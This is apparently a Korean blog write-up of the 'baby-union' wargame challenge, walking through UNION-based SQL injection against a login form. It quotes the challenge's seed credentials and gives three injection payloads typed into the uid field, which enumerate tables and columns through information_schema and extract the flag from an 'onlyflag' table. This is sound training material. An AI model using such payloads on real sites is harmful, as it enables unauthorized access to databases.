swuforce

[워게임] baby-union

범호야 2025. 9. 23. 23:16

문제와 서버에 들어가서 확인한 화면이다. 

uid 와 upw를 입력하면 플래그가 나올 것 같다.

서버에서는 더 힌트를 얻을 수 없을 것 같아 init.sql를 확인해본다. 

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;

이 코드 부분이 uid,upw같다. 입력하면 테이블만 나오고 끝난다. 

' union select table_name, null, null, null from information_schema.tables#

uid에 해당 명령어를 입력하고, upw에는 아무 값이나 입력하면 아래 사진과 같은 결과물을 얻을 수 있다. 

' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag' # 

이 명령어를 입력하면 onlyflag라는 테이블의 컬럼을 볼 수 있다. 

id와 derscription을 이어서 flag로 했더니 답이 아니라한다. 

 우리가 확인할 수 있는 컬럼이 3개이고 위에 코드 상으로 sname은 flag is를 가리키므로 

' union select svalue, sflag, null, sclose from onlyflag #

로 입력하면 플래그를 얻을 수 있다.